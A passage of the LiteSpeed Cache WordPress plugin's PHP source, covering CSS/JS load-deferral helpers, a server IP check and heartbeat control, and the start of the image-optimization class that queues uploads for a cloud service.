				$attrs = Utility::parse_attr($match[2]);

				if (!empty($attrs['data-no-optimize'])) {
					continue;
				}

				if (!empty($attrs['media']) && $attrs['media'] !== 'all') {
					$this_src_arr['media'] = $attrs['media'];
				}

				$this_src_arr['inl'] = true;
				$this_src_arr['src'] = $match[3];
			}

			$src_list[] = $this_src_arr;

			$html_list[] = $match[0];
		}

		return array( $src_list, $html_list );
	}

	/**
	 * Replace css to async loaded css
	 *
	 * @since  1.3
	 * @access private
	 */
	private function _async_css_list( $html_list, $src_list ) {
		foreach ($html_list as $k => $ori) {
			if (!empty($src_list[$k]['inl'])) {
				continue;
			}

			$html_list[$k] = $this->_async_css($ori);
		}
		return $html_list;
	}

	/**
	 * Async CSS snippet
	 *
	 * @since 3.5
	 */
	private function _async_css( $ori ) {
		if (strpos($ori, 'data-asynced') !== false) {
			self::debug2('bypass: attr data-asynced exist');
			return $ori;
		}

		if (strpos($ori, 'data-no-async') !== false) {
			self::debug2('bypass: attr api data-no-async');
			return $ori;
		}

		// async replacement
		$v = str_replace('stylesheet', 'preload', $ori);
		$v = str_replace('<link', '<link data-asynced="1" as="style" onload="this.onload=null;this.rel=\'stylesheet\'" ', $v);
		// Append to noscript content
		if (!defined('LITESPEED_GUEST_OPTM') && !$this->conf(self::O_OPTM_NOSCRIPT_RM)) {
			$v .= '<noscript>' . preg_replace('/ id=\'[\w-]+\' /U', ' ', $ori) . '</noscript>';
		}

		return $v;
	}

	/**
	 * Defer JS snippet
	 *
	 * @since  3.5
	 */
	private function _js_defer( $ori, $src ) {
		if (strpos($ori, ' async') !== false) {
			$ori = preg_replace('# async(?:=([\'"])(?:[^\1]*?)\1)?#is', '', $ori);
		}

		if (strpos($ori, 'defer') !== false) {
			return false;
		}
		if (strpos($ori, 'data-deferred') !== false) {
			self::debug2('bypass: attr data-deferred exist');
			return false;
		}
		if (strpos($ori, 'data-no-defer') !== false) {
			self::debug2('bypass: attr api data-no-defer');
			return false;
		}

		/**
		 * Exclude JS from setting
		 *
		 * @since 1.5
		 */
		if (Utility::str_hit_array($src, $this->cfg_js_defer_exc)) {
			self::debug('js defer exclude ' . $src);
			return false;
		}

		if ($this->cfg_js_defer === 2 || Utility::str_hit_array($src, $this->cfg_js_delay_inc)) {
			if (strpos($ori, ' type=') !== false) {
				$ori = preg_replace('# type=([\'"])([^\1]+)\1#isU', '', $ori);
			}
			return str_replace(' src=', ' type="litespeed/javascript" data-src=', $ori);
		}

		return str_replace('></script>', ' defer data-deferred="1"></script>', $ori);
	}

	/**
	 * Delay JS for included setting
	 *
	 * @since 5.6
	 */
	private function _js_delay( $ori, $src ) {
		if (strpos($ori, ' async') !== false) {
			$ori = str_replace(' async', '', $ori);
		}

		if (strpos($ori, 'defer') !== false) {
			return false;
		}
		if (strpos($ori, 'data-deferred') !== false) {
			self::debug2('bypass: attr data-deferred exist');
			return false;
		}
		if (strpos($ori, 'data-no-defer') !== false) {
			self::debug2('bypass: attr api data-no-defer');
			return false;
		}

		if (!Utility::str_hit_array($src, $this->cfg_js_delay_inc)) {
			return;
		}

		if (strpos($ori, ' type=') !== false) {
			$ori = preg_replace('# type=([\'"])([^\1]+)\1#isU', '', $ori);
		}
		return str_replace(' src=', ' type="litespeed/javascript" data-src=', $ori);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/tool.cls.php000064400000010336151031165260017327 0ustar00<?php
// phpcs:ignoreFile
/**
 * The tools
 *
 * @since       3.0
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Tool
 *
 * Provides utility functions for LiteSpeed Cache, including IP detection and heartbeat control.
 *
 * @since 3.0
 */
class Tool extends Root {

	const LOG_TAG = '[Tool]';

	/**
	 * Get public IP
	 *
	 * Retrieves the public IP address of the server.
	 *
	 * @since  3.0
	 * @access public
	 * @return string The public IP address or an error message.
	 */
	public function check_ip() {
		self::debug( '✅ check_ip' );

		$response = wp_safe_remote_get( 'https://cyberpanel.sh/?ip', array(
			'headers' => array(
				'User-Agent' => 'curl/8.7.1',
			),
		) );

		if ( is_wp_error( $response ) ) {
			return esc_html__( 'Failed to detect IP', 'litespeed-cache' );
		}

		$ip = trim( $response['body'] );

		self::debug( 'result [ip] ' . $ip );

		if ( Utility::valid_ipv4( $ip ) ) {
			return $ip;
		}

		return esc_html__( 'Failed to detect IP', 'litespeed-cache' );
	}

	/**
	 * Heartbeat Control
	 *
	 * Configures WordPress heartbeat settings for frontend, backend, and editor.
	 *
	 * @since  3.0
	 * @access public
	 */
	public function heartbeat() {
		add_action( 'wp_enqueue_scripts', array( $this, 'heartbeat_frontend' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'heartbeat_backend' ) );
		add_filter( 'heartbeat_settings', array( $this, 'heartbeat_settings' ) );
	}

	/**
	 * Heartbeat Control frontend control
	 *
	 * Manages heartbeat settings for the frontend.
	 *
	 * @since  3.0
	 * @access public
	 */
	public function heartbeat_frontend() {
		if ( ! $this->conf( Base::O_MISC_HEARTBEAT_FRONT ) ) {
			return;
		}

		if ( ! $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ) ) {
			wp_deregister_script( 'heartbeat' );
			Debug2::debug( '[Tool] Deregistered frontend heartbeat' );
		}
	}

	/**
	 * Heartbeat Control backend control
	 *
	 * Manages heartbeat settings for the backend and editor.
	 *
	 * @since  3.0
	 * @access public
	 */
	public function heartbeat_backend() {
		if ( $this->is_editor() ) {
			if ( ! $this->conf( Base::O_MISC_HEARTBEAT_EDITOR ) ) {
				return;
			}

			if ( ! $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ) ) {
				wp_deregister_script( 'heartbeat' );
				Debug2::debug( '[Tool] Deregistered editor heartbeat' );
			}
		} else {
			if ( ! $this->conf( Base::O_MISC_HEARTBEAT_BACK ) ) {
				return;
			}

			if ( ! $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ) ) {
				wp_deregister_script( 'heartbeat' );
				Debug2::debug( '[Tool] Deregistered backend heartbeat' );
			}
		}
	}

	/**
	 * Heartbeat Control settings
	 *
	 * Adjusts heartbeat interval settings based on configuration.
	 *
	 * @since  3.0
	 * @access public
	 * @param array $settings Existing heartbeat settings.
	 * @return array Modified heartbeat settings.
	 */
	public function heartbeat_settings( $settings ) {
		// Check editor first to make frontend editor valid too
		if ( $this->is_editor() ) {
			if ( $this->conf( Base::O_MISC_HEARTBEAT_EDITOR ) ) {
				$settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL );
				Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_EDITOR_TTL ) );
			}
		} elseif ( ! is_admin() ) {
			if ( $this->conf( Base::O_MISC_HEARTBEAT_FRONT ) ) {
				$settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL );
				Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_FRONT_TTL ) );
			}
		} elseif ( $this->conf( Base::O_MISC_HEARTBEAT_BACK ) ) {
			$settings['interval'] = $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL );
			Debug2::debug( '[Tool] Heartbeat interval set to ' . $this->conf( Base::O_MISC_HEARTBEAT_BACK_TTL ) );
		}
		return $settings;
	}

	/**
	 * Check if in editor
	 *
	 * Determines if the current request is within the WordPress editor.
	 *
	 * @since  3.0
	 * @access public
	 * @return bool True if in editor, false otherwise.
	 */
	public function is_editor() {
		$request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
		$res         = is_admin() && Utility::str_hit_array( $request_uri, array( 'post.php', 'post-new.php' ) );

		return apply_filters( 'litespeed_is_editor', $res );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/img-optm.cls.php000064400000201651151031165260020105 0ustar00<?php
// phpcs:ignoreFile

/**
 * The class to optimize image.
 *
 * @since       2.0
 * @package     LiteSpeed
 */

namespace LiteSpeed;

use WpOrg\Requests\Autoload;
use WpOrg\Requests\Requests;

defined('WPINC') || exit();

class Img_Optm extends Base {

	const LOG_TAG = '🗜️';

	const CLOUD_ACTION_NEW_REQ         = 'new_req';
	const CLOUD_ACTION_TAKEN           = 'taken';
	const CLOUD_ACTION_REQUEST_DESTROY = 'imgoptm_destroy';
	const CLOUD_ACTION_CLEAN           = 'clean';

	const TYPE_NEW_REQ           = 'new_req';
	const TYPE_RESCAN            = 'rescan';
	const TYPE_DESTROY           = 'destroy';
	const TYPE_RESET_COUNTER     = 'reset_counter';
	const TYPE_CLEAN             = 'clean';
	const TYPE_PULL              = 'pull';
	const TYPE_BATCH_SWITCH_ORI  = 'batch_switch_ori';
	const TYPE_BATCH_SWITCH_OPTM = 'batch_switch_optm';
	const TYPE_CALC_BKUP         = 'calc_bkup';
	const TYPE_RESET_ROW         = 'reset_row';
	const TYPE_RM_BKUP           = 'rm_bkup';

	const STATUS_NEW        = 0; // 'new';
	const STATUS_RAW        = 1; // 'raw';
	const STATUS_REQUESTED  = 3; // 'requested';
	const STATUS_NOTIFIED   = 6; // 'notified';
	const STATUS_DUPLICATED = 8; // 'duplicated';
	const STATUS_PULLED     = 9; // 'pulled';
	const STATUS_FAILED     = -1; // 'failed';
	const STATUS_MISS       = -3; // 'miss';
	const STATUS_ERR_FETCH  = -5; // 'err_fetch';
	const STATUS_ERR_404    = -6; // 'err_404';
	const STATUS_ERR_OPTM   = -7; // 'err_optm';
	const STATUS_XMETA      = -8; // 'xmeta';
	const STATUS_ERR        = -9; // 'err';
	const DB_SIZE           = 'litespeed-optimize-size';
	const DB_SET            = 'litespeed-optimize-set';

	const DB_NEED_PULL = 'need_pull';

	private $wp_upload_dir;
	private $tmp_pid;
	private $tmp_type;
	private $tmp_path;
	private $_img_in_queue     = [];
	private $_existed_src_list = [];
	private $_pids_set         = [];
	private $_thumbnail_set    = '';
	private $_table_img_optm;
	private $_table_img_optming;
	private $_cron_ran = false;
	private $_sizes_skipped     = [];

	private $__media;
	private $__data;
	protected $_summary;
	private $_format = '';

	/**
	 * Init
	 *
	 * @since  2.0
	 */
	public function __construct() {
		Debug2::debug2('[ImgOptm] init');

		$this->wp_upload_dir      = wp_upload_dir();
		$this->__media            = $this->cls('Media');
		$this->__data             = $this->cls('Data');
		$this->_table_img_optm    = $this->__data->tb('img_optm');
		$this->_table_img_optming = $this->__data->tb('img_optming');

		$this->_summary = self::get_summary();
		if (empty($this->_summary['next_post_id'])) {
			$this->_summary['next_post_id'] = 0;
		}
		if ($this->conf(Base::O_IMG_OPTM_WEBP)) {
			$this->_format = 'webp';
			if ($this->conf(Base::O_IMG_OPTM_WEBP) == 2) {
				$this->_format = 'avif';
			}
		}

		// Allow users to ignore custom sizes.
		$this->_sizes_skipped = apply_filters( 'litespeed_imgoptm_sizes_skipped', $this->conf( Base::O_IMG_OPTM_SIZES_SKIPPED ) );
	}

	/**
	 * Gather images auto when update attachment meta
	 * This is to optimize new uploaded images first. Stored in img_optm table.
	 * Later normal process will auto remove these records when trying to optimize these images again
	 *
	 * @since  4.0
	 */
	public function wp_update_attachment_metadata( $meta_value, $post_id ) {
		global $wpdb;

		self::debug2('🖌️ Auto update attachment meta [id] ' . $post_id);
		if (empty($meta_value['file'])) {
			return;
		}

		// Load gathered images
		if (!$this->_existed_src_list) {
			// To aavoid extra query when recalling this function
			self::debug('SELECT src from img_optm table');
			if ($this->__data->tb_exist('img_optm')) {
				$q    = "SELECT src FROM `$this->_table_img_optm` WHERE post_id = %d";
				$list = $wpdb->get_results($wpdb->prepare($q, $post_id));
				foreach ($list as $v) {
					$this->_existed_src_list[] = $post_id . '.' . $v->src;
				}
			}
			if ($this->__data->tb_exist('img_optming')) {
				$q    = "SELECT src FROM `$this->_table_img_optming` WHERE post_id = %d";
				$list = $wpdb->get_results($wpdb->prepare($q, $post_id));
				foreach ($list as $v) {
					$this->_existed_src_list[] = $post_id . '.' . $v->src;
				}
			} else {
				$this->__data->tb_create('img_optming');
			}
		}

		// Prepare images
		$this->tmp_pid  = $post_id;
		$this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
		$this->_append_img_queue($meta_value, true);
		if (!empty($meta_value['sizes'])) {
			foreach( $meta_value['sizes'] as $img_size_name => $img_size ){
				$this->_append_img_queue($img_size, false, $img_size_name );
			}
		}

		if (!$this->_img_in_queue) {
			self::debug('auto update attachment meta 2 bypass: empty _img_in_queue');
			return;
		}

		// Save to DB
		$this->_save_raw();

		// $this->_send_request();
	}

	/**
	 * Auto send optm request
	 *
	 * @since  2.4.1
	 * @access public
	 */
	public static function cron_auto_request() {
		if (!wp_doing_cron()) {
			return false;
		}

		$instance = self::cls();
		$instance->new_req();
	}

	/**
	 * Calculate wet run allowance
	 *
	 * @since 3.0
	 */
	public function wet_limit() {
		$wet_limit = 1;
		if (!empty($this->_summary['img_taken'])) {
			$wet_limit = pow($this->_summary['img_taken'], 2);
		}

		if ($wet_limit == 1 && !empty($this->_summary['img_status.' . self::STATUS_ERR_OPTM])) {
			$wet_limit = pow($this->_summary['img_status.' . self::STATUS_ERR_OPTM], 2);
		}

		if ($wet_limit < Cloud::IMG_OPTM_DEFAULT_GROUP) {
			return $wet_limit;
		}

		// No limit
		return false;
	}

	/**
	 * Push raw img to image optm server
	 *
	 * @since 1.6
	 * @access public
	 */
	public function new_req() {
		global $wpdb;

		// check if is running
		if (!empty($this->_summary['is_running']) && time() - $this->_summary['is_running'] < apply_filters('litespeed_imgoptm_new_req_interval', 3600)) {
			self::debug('The previous req was in 3600s.');
			return;
		}
		$this->_summary['is_running'] = time();
		self::save_summary();

		// Check if has credit to push
		$err       = false;
		$allowance = Cloud::cls()->allowance(Cloud::SVC_IMG_OPTM, $err);

		$wet_limit = $this->wet_limit();

		self::debug("allowance_max $allowance wet_limit $wet_limit");
		if ($wet_limit && $wet_limit < $allowance) {
			$allowance = $wet_limit;
		}

		if (!$allowance) {
			self::debug('❌ No credit');
			Admin_Display::error(Error::msg($err));
			$this->_finished_running();
			return;
		}

		self::debug('preparing images to push');

		$this->__data->tb_create('img_optming');

		$q               = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status = %d";
		$q               = $wpdb->prepare($q, array( self::STATUS_REQUESTED ));
		$total_requested = $wpdb->get_var($q);
		$max_requested   = $allowance * 1;

		if ($total_requested > $max_requested) {
			self::debug('❌ Too many queued images (' . $total_requested . ' > ' . $max_requested . ')');
			Admin_Display::error(Error::msg('too_many_requested'));
			$this->_finished_running();
			return;
		}

		$allowance -= $total_requested;

		if ($allowance < 1) {
			self::debug('❌ Too many requested images ' . $total_requested);
			Admin_Display::error(Error::msg('too_many_requested'));
			$this->_finished_running();
			return;
		}

		// Limit maximum number of items waiting to be pulled
		$q              = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status = %d";
		$q              = $wpdb->prepare($q, array( self::STATUS_NOTIFIED ));
		$total_notified = $wpdb->get_var($q);
		if ($total_notified > 0) {
			self::debug('❌ Too many notified images (' . $total_notified . ')');
			Admin_Display::error(Error::msg('too_many_notified'));
			$this->_finished_running();
			return;
		}

		$q         = "SELECT COUNT(1) FROM `$this->_table_img_optming` WHERE optm_status IN (%d, %d)";
		$q         = $wpdb->prepare($q, array( self::STATUS_NEW, self::STATUS_RAW ));
		$total_new = $wpdb->get_var($q);
		// $allowance -= $total_new;

		// May need to get more images
		$list = [];
		$more = $allowance - $total_new;
		if ($more > 0) {
			$q    = "SELECT b.post_id, b.meta_value
				FROM `$wpdb->posts` a
				LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID
				WHERE b.meta_key = '_wp_attachment_metadata'
					AND a.post_type = 'attachment'
					AND a.post_status = 'inherit'
					AND a.ID>%d
					AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif')
				ORDER BY a.ID
				LIMIT %d
				";
			$q    = $wpdb->prepare($q, array( $this->_summary['next_post_id'], $more ));
			$list = $wpdb->get_results($q);
			foreach ($list as $v) {
				if (!$v->post_id) {
					continue;
				}

				$this->_summary['next_post_id'] = $v->post_id;

				$meta_value = $this->_parse_wp_meta_value($v);
				if (!$meta_value) {
					continue;
				}
				$meta_value['file'] = wp_normalize_path($meta_value['file']);
				$basedir            = $this->wp_upload_dir['basedir'] . '/';
				if (strpos($meta_value['file'], $basedir) === 0) {
					$meta_value['file'] = substr($meta_value['file'], strlen($basedir));
				}

				$this->tmp_pid  = $v->post_id;
				$this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
				$this->_append_img_queue($meta_value, true);
				if (!empty($meta_value['sizes'])) {
					foreach( $meta_value['sizes'] as $img_size_name => $img_size ){
						$this->_append_img_queue($img_size, false, $img_size_name );
					}
				}
			}

			self::save_summary();

			$num_a = count($this->_img_in_queue);
			self::debug('Images found: ' . $num_a);
			$this->_filter_duplicated_src();
			self::debug('Images after duplicated: ' . count($this->_img_in_queue));
			$this->_filter_invalid_src();
			self::debug('Images after invalid: ' . count($this->_img_in_queue));
			// Check w/ legacy imgoptm table, bypass finished images
			$this->_filter_legacy_src();

			$num_b = count($this->_img_in_queue);
			if ($num_b != $num_a) {
				self::debug('Images after filtered duplicated/invalid/legacy src: ' . $num_b);
			}

			// Save to DB
			$this->_save_raw();
		}

		// Push to Cloud server
		$accepted_imgs = $this->_send_request($allowance);

		$this->_finished_running();
		if (!$accepted_imgs) {
			return;
		}

		$placeholder1 = Admin_Display::print_plural($accepted_imgs[0], 'image');
		$placeholder2 = Admin_Display::print_plural($accepted_imgs[1], 'image');
		$msg          = sprintf(__('Pushed %1$s to Cloud server, accepted %2$s.', 'litespeed-cache'), $placeholder1, $placeholder2);
		Admin_Display::success($msg);
	}

	/**
	 * Set running to done
	 */
	private function _finished_running() {
		$this->_summary['is_running'] = 0;
		self::save_summary();
	}

	/**
	 * Add a new img to queue which will be pushed to request
	 *
	 * @since 1.6
	 * @since 7.5 Allow to choose which image sizes should be optimized + added parameter $img_size_name.
	 * @access private
	 */
	private function _append_img_queue( $meta_value, $is_ori_file = false, $img_size_name = false ) {
		if (empty($meta_value['file']) || empty($meta_value['width']) || empty($meta_value['height'])) {
			self::debug2('bypass image due to lack of file/w/h: pid ' . $this->tmp_pid, $meta_value);
			return;
		}

		$short_file_path = $meta_value['file'];

		// Test if need to skip image size.
		if (!$is_ori_file) {
			$short_file_path = $this->tmp_path . $short_file_path;
			$skip = false !== array_search( $img_size_name, $this->_sizes_skipped, true );
			if($skip){
				self::debug2( 'bypass image ' . $short_file_path . ' due to skipped size: ' . $img_size_name );
				return;
			}
		}

		// Check if src is gathered already or not
		if (in_array($this->tmp_pid . '.' . $short_file_path, $this->_existed_src_list)) {
			// Debug2::debug2( '[Img_Optm] bypass image due to gathered: pid ' . $this->tmp_pid . ' ' . $short_file_path );
			return;
		} else {
			// Append handled images
			$this->_existed_src_list[] = $this->tmp_pid . '.' . $short_file_path;
		}

		// check file exists or not
		$_img_info = $this->__media->info($short_file_path, $this->tmp_pid);

		$extension = pathinfo($short_file_path, PATHINFO_EXTENSION);
		if (!$_img_info || !in_array($extension, array( 'jpg', 'jpeg', 'png', 'gif' ))) {
			self::debug2('bypass image due to file not exist: pid ' . $this->tmp_pid . ' ' . $short_file_path);
			return;
		}

		// Check if optimized file exists or not
		$target_needed = false;
		if ($this->_format) {
			$target_file_path = $short_file_path . '.' . $this->_format;
			if (!$this->__media->info($target_file_path, $this->tmp_pid)) {
				$target_needed = true;
			}
		}
		if ($this->conf(self::O_IMG_OPTM_ORI)) {
			$target_file_path = substr($short_file_path, 0, -strlen($extension)) . 'bk.' . $extension;
			if (!$this->__media->info($target_file_path, $this->tmp_pid)) {
				$target_needed = true;
			}
		}
		if (!$target_needed) {
			self::debug2('bypass image due to optimized file exists: pid ' . $this->tmp_pid . ' ' . $short_file_path);
			return;
		}

		// Debug2::debug2( '[Img_Optm] adding image: pid ' . $this->tmp_pid );

		$this->_img_in_queue[] = array(
			'pid' => $this->tmp_pid,
			'md5' => $_img_info['md5'],
			'url' => $_img_info['url'],
			'src' => $short_file_path, // not needed in LiteSpeed IAPI, just leave for local storage after post
			'mime_type' => !empty($meta_value['mime-type']) ? $meta_value['mime-type'] : '',
		);
	}

	/**
	 * Save gathered image raw data
	 *
	 * @since  3.0
	 */
	private function _save_raw() {
		if (empty($this->_img_in_queue)) {
			return;
		}
		$data     = [];
		$pid_list = [];
		foreach ($this->_img_in_queue as $k => $v) {
			$_img_info = $this->__media->info($v['src'], $v['pid']);

			// attachment doesn't exist, delete the record
			if (empty($_img_info['url']) || empty($_img_info['md5'])) {
				unset($this->_img_in_queue[$k]);
				continue;
			}
			$pid_list[] = (int) $v['pid'];

			$data[] = $v['pid'];
			$data[] = self::STATUS_RAW;
			$data[] = $v['src'];
		}

		global $wpdb;
		$fields = 'post_id, optm_status, src';
		$q      = "INSERT INTO `$this->_table_img_optming` ( $fields ) VALUES ";

		// Add placeholder
		$q .= Utility::chunk_placeholder($data, $fields);

		// Store data
		$wpdb->query($wpdb->prepare($q, $data));

		$count = count($this->_img_in_queue);
		self::debug('Added raw images [total] ' . $count);

		$this->_img_in_queue = [];

		// Save thumbnail groups for future rescan index
		$this->_gen_thumbnail_set();

		$pid_list = array_unique($pid_list);
		self::debug('pid list to append to postmeta', $pid_list);
		$pid_list        = array_diff($pid_list, $this->_pids_set);
		$this->_pids_set = array_merge($this->_pids_set, $pid_list);

		$existed_meta = $wpdb->get_results("SELECT * FROM `$wpdb->postmeta` WHERE post_id IN ('" . implode("','", $pid_list) . "') AND meta_key='" . self::DB_SET . "'");
		$existed_pid  = [];
		if ($existed_meta) {
			foreach ($existed_meta as $v) {
				$existed_pid[] = $v->post_id;
			}
			self::debug('pid list to update postmeta', $existed_pid);
			$wpdb->query(
				$wpdb->prepare("UPDATE `$wpdb->postmeta` SET meta_value=%s WHERE post_id IN ('" . implode("','", $existed_pid) . "') AND meta_key=%s", array(
					$this->_thumbnail_set,
					self::DB_SET,
				))
			);
		}

		// Add new meta
		$new_pids = $existed_pid ? array_diff($pid_list, $existed_pid) : $pid_list;
		if ($new_pids) {
			self::debug('pid list to update postmeta', $new_pids);
			foreach ($new_pids as $v) {
				self::debug('New group set info [pid] ' . $v);
				$q = "INSERT INTO `$wpdb->postmeta` (post_id, meta_key, meta_value) VALUES (%d, %s, %s)";
				$wpdb->query($wpdb->prepare($q, array( $v, self::DB_SET, $this->_thumbnail_set )));
			}
		}
	}

	/**
	 * Generate thumbnail sets of current image group
	 *
	 * @since 5.4
	 */
	private function _gen_thumbnail_set() {
		if ($this->_thumbnail_set) {
			return;
		}
		$set = [];
		foreach (Media::cls()->get_image_sizes() as $size) {
			$curr_size = $size['width'] . 'x' . $size['height'];
			if (in_array($curr_size, $set)) {
				continue;
			}
			$set[] = $curr_size;
		}
		$this->_thumbnail_set = implode(PHP_EOL, $set);
	}

	/**
	 * Filter duplicated src in work table and $this->_img_in_queue, then mark them as duplicated
	 *
	 * @since 2.0
	 * @access private
	 */
	private function _filter_duplicated_src() {
		global $wpdb;

		$srcpath_list = [];

		$list = $wpdb->get_results("SELECT src FROM `$this->_table_img_optming`");
		foreach ($list as $v) {
			$srcpath_list[] = $v->src;
		}

		foreach ($this->_img_in_queue as $k => $v) {
			if (in_array($v['src'], $srcpath_list)) {
				unset($this->_img_in_queue[$k]);
				continue;
			}

			$srcpath_list[] = $v['src'];
		}
	}

	/**
	 * Filter legacy finished ones
	 *
	 * @since 5.4
	 */
	private function _filter_legacy_src() {
		global $wpdb;

		if (!$this->__data->tb_exist('img_optm')) {
			return;
		}

		if (!$this->_img_in_queue) {
			return;
		}

		$finished_ids = [];

		Utility::compatibility();
		$post_ids = array_unique(array_column($this->_img_in_queue, 'pid'));
		$list     = $wpdb->get_results("SELECT post_id FROM `$this->_table_img_optm` WHERE post_id in (" . implode(',', $post_ids) . ') GROUP BY post_id');
		foreach ($list as $v) {
			$finished_ids[] = $v->post_id;
		}

		foreach ($this->_img_in_queue as $k => $v) {
			if (in_array($v['pid'], $finished_ids)) {
				self::debug('Legacy image optimized [pid] ' . $v['pid']);
				unset($this->_img_in_queue[$k]);
				continue;
			}
		}

		// Drop all existing legacy records
		$wpdb->query("DELETE FROM `$this->_table_img_optm` WHERE post_id in (" . implode(',', $post_ids) . ')');
	}

	/**
	 * Filter the invalid src before sending
	 *
	 * @since 3.0.8.3
	 * @access private
	 */
	private function _filter_invalid_src() {
		$img_in_queue_invalid = [];
		foreach ($this->_img_in_queue as $k => $v) {
			if ($v['src']) {
				$extension = pathinfo($v['src'], PATHINFO_EXTENSION);
			}
			if (!$v['src'] || empty($extension) || !in_array($extension, array( 'jpg', 'jpeg', 'png', 'gif' ))) {
				$img_in_queue_invalid[] = $v['id'];
				unset($this->_img_in_queue[$k]);
				continue;
			}
		}

		if (!$img_in_queue_invalid) {
			return;
		}

		$count = count($img_in_queue_invalid);
		$msg   = sprintf(__('Cleared %1$s invalid images.', 'litespeed-cache'), $count);
		Admin_Display::success($msg);

		self::debug('Found invalid src [total] ' . $count);
	}

	/**
	 * Push img request to Cloud server
	 *
	 * @since 1.6.7
	 * @access private
	 */
	private function _send_request( $allowance ) {
		global $wpdb;

		$q             = "SELECT id, src, post_id FROM `$this->_table_img_optming` WHERE optm_status=%d LIMIT %d";
		$q             = $wpdb->prepare($q, array( self::STATUS_RAW, $allowance ));
		$_img_in_queue = $wpdb->get_results($q);
		if (!$_img_in_queue) {
			return;
		}

		self::debug('Load img in queue [total] ' . count($_img_in_queue));

		$list = [];
		foreach ($_img_in_queue as $v) {
			$_img_info = $this->__media->info($v->src, $v->post_id);
			// If record is invalid, remove from img_optming table
			if (empty($_img_info['url']) || empty($_img_info['md5'])) {
				$wpdb->query($wpdb->prepare("DELETE FROM `$this->_table_img_optming` WHERE id=%d", $v->id));
				continue;
			}

			$img = array(
				'id' => $v->id,
				'url' => $_img_info['url'],
				'md5' => $_img_info['md5'],
			);
			// Build the needed image types for request as we now support soft reset counter
			if ($this->_format) {
				$target_file_path = $v->src . '.' . $this->_format;
				if ($this->__media->info($target_file_path, $v->post_id)) {
					$img['optm_' . $this->_format] = 0;
				}
			}
			if ($this->conf(self::O_IMG_OPTM_ORI)) {
				$extension        = pathinfo($v->src, PATHINFO_EXTENSION);
				$target_file_path = substr($v->src, 0, -strlen($extension)) . 'bk.' . $extension;
				if ($this->__media->info($target_file_path, $v->post_id)) {
					$img['optm_ori'] = 0;
				}
			}

			$list[] = $img;
		}

		if (!$list) {
			$msg = __('No valid image found in the current request.', 'litespeed-cache');
			Admin_Display::error($msg);
			return;
		}

		$data = array(
			'action' => self::CLOUD_ACTION_NEW_REQ,
			'list' => \json_encode($list),
			'optm_ori' => $this->conf(self::O_IMG_OPTM_ORI) ? 1 : 0,
			'optm_lossless' => $this->conf(self::O_IMG_OPTM_LOSSLESS) ? 1 : 0,
			'keep_exif' => $this->conf(self::O_IMG_OPTM_EXIF) ? 1 : 0,
		);
		if ($this->_format) {
			$data['optm_' . $this->_format] = 1;
		}

		// Push to Cloud server
		$json = Cloud::post(Cloud::SVC_IMG_OPTM, $data);
		if (!$json) {
			return;
		}

		// Check data format
		if (empty($json['ids'])) {
			self::debug('Failed to parse response data from Cloud server ', $json);
			$msg = __('No valid image found by Cloud server in the current request.', 'litespeed-cache');
			Admin_Display::error($msg);
			return;
		}

		self::debug('Returned data from Cloud server count: ' . count($json['ids']));

		$ids = implode(',', array_map('intval', $json['ids']));
		// Update img table
		$q = "UPDATE `$this->_table_img_optming` SET optm_status = '" . self::STATUS_REQUESTED . "' WHERE id IN ( $ids )";
		$wpdb->query($q);

		$this->_summary['last_requested'] = time();
		self::save_summary();

		return array( count($list), count($json['ids']) );
	}

	/**
	 * Cloud server notify Client img status changed
	 *
	 * @access public
	 */
	public function notify_img() {
		// Interval validation to avoid hacking domain_key
		if (!empty($this->_summary['notify_ts_err']) && time() - $this->_summary['notify_ts_err'] < 3) {
			return Cloud::err('too_often');
		}

		$post_data = \json_decode(file_get_contents('php://input'), true);
		if (is_null($post_data)) {
			$post_data = $_POST;
		}

		global $wpdb;

		$notified_data = $post_data['data'];
		if (empty($notified_data) || !is_array($notified_data)) {
			self::debug('❌ notify exit: no notified data');
			return Cloud::err('no notified data');
		}

		if (empty($post_data['server']) || (substr($post_data['server'], -11) !== '.quic.cloud' && substr($post_data['server'], -15) !== '.quicserver.com')) {
			self::debug('notify exit: no/wrong server');
			return Cloud::err('no/wrong server');
		}

		if (empty($post_data['status'])) {
			self::debug('notify missing status');
			return Cloud::err('no status');
		}

		$status = $post_data['status'];
		self::debug('notified status=' . $status);

		$last_log_pid = 0;

		if (empty($this->_summary['reduced'])) {
			$this->_summary['reduced'] = 0;
		}

		if ($status == self::STATUS_NOTIFIED) {
			// Notified data format: [ img_optm_id => [ id=>, src_size=>, ori=>, ori_md5=>, ori_reduced=>, webp=>, webp_md5=>, webp_reduced=> ] ]
			$q                               =
				"SELECT a.*, b.meta_id as b_meta_id, b.meta_value AS b_optm_info
					FROM `$this->_table_img_optming` a
					LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.post_id AND b.meta_key = %s
					WHERE a.id IN ( " .
				implode(',', array_fill(0, count($notified_data), '%d')) .
				' )';
			$list                            = $wpdb->get_results($wpdb->prepare($q, array_merge(array( self::DB_SIZE ), array_keys($notified_data))));
			$ls_optm_size_row_exists_postids = [];
			foreach ($list as $v) {
				$json = $notified_data[$v->id];
				// self::debug('Notified data for [id] ' . $v->id, $json);

				$server = !empty($json['server']) ? $json['server'] : $post_data['server'];

				$server_info = array(
					'server' => $server,
				);

